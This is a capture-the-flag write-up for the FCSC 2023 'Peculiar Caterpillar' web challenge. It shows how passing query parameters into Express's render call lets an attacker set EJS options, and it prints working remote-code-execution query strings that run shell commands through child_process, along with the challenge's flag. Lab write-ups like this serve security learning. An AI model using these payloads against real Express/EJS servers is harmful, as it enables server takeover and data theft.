Writeup by xanhacks for Peculiar Caterpillar

web NodeJS

December 1, 2023

Peculiar Caterpillar

Description: As Alice wandered through Wonderland, she stumbled upon a peculiar caterpillar. To her surprise, the caterpillar boasted that it had built its very own website using Javascript. Although the website appeared to be straightforward, Alice couldn’t help but wonder if it was truly secure.

curl https://hackropole.fr/challenges/fcsc2023-web-peculiar-caterpillar/docker-compose.public.yml -o docker-compose.yml
docker compose up

Then, visits the challenge at http://localhost:8000/.

Introduction

We have a nodejs application and our goal is to read the flag located in the file /app/flag-<random_hex>.txt.

const express = require("express");
const morgan = require("morgan");

const app = express();

app.use(morgan("combined"));

app.set("view engine", "ejs")
app.set("trust proxy", true);

app.use((req, res) => res.render("index", { name: "World", ...req.query }));

app.listen(8000);

This application uses Embedded JavaScript templates (EJS), which is a NodeJS library very often used by Express to create HTML templates.

RCE in EJS

The following code is inside EJS (lib/ejs.js - v3.1.9). If you control the value of both variables client and escape, you can get a RCE.

function Template(text, opts) {
    // ...
    options.client = opts.client || false;
    options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

    this.opts = options;
    // ...
  }

Template.prototype = {
    // ...
    compile: function () {
        var opts = this.opts;
        var escapeFn = opts.escapeFunction;

        if (opts.client) {
            src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
        }
        // ...
        // src is evaluated later
    }
}

Exploitation

req.query will be equal to the options parameter passed to the render function of Express.

require("express")()
.set("view engine", "ejs")
.use((req, res) => {
    res.render("index", { ...req.query })
})
.listen(3000);

The render function of Express calls the renderFile function of EJS.

  • render => renderFile => ... => Template.new => Template.compile

Here is the code of the renderFile function of EJS:

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

// ...
exports.renderFile = function () {
    var args = Array.prototype.slice.call(arguments);
    var filename = args.shift();        // arg[0] = PATH of the template
    var opts = {filename: filename};

    // ...
    data = args.shift();                // arg[1] = {
                                        //    "settings": env, view engine, etag, ...,
                                        //    query string,
                                        //    "cache": false
                                        // }
    viewOpts = data.settings['view options'];
    if (viewOpts) {
      utils.shallowCopy(opts, viewOpts);
    }

    // 'client' is allowed to be copied
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    // ...

    return tryHandleCache(opts, data, cb);
};

The opts variable is then passed to the Template object. So, we can get a RCE with the following query string.

?client=1&settings[view options][escape]=1;return+process.mainModule.require("child_process").execSync("id").toString();

This query string is equals to:

{
  settings: {
    'view options': {
      escape: '1;return process.mainModule.require("child_process").execSync("id").toString();'
    }
  },
  client: '1'
}

Flag

To get the flag, we will execute the command cat flag*.

http://localhost:8000/?settings[view%20options][escape]=1;return+process.mainModule.require(%22child_process%22).execSync(%22cat%20flag*%22).toString();&client=1

The flag is: FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}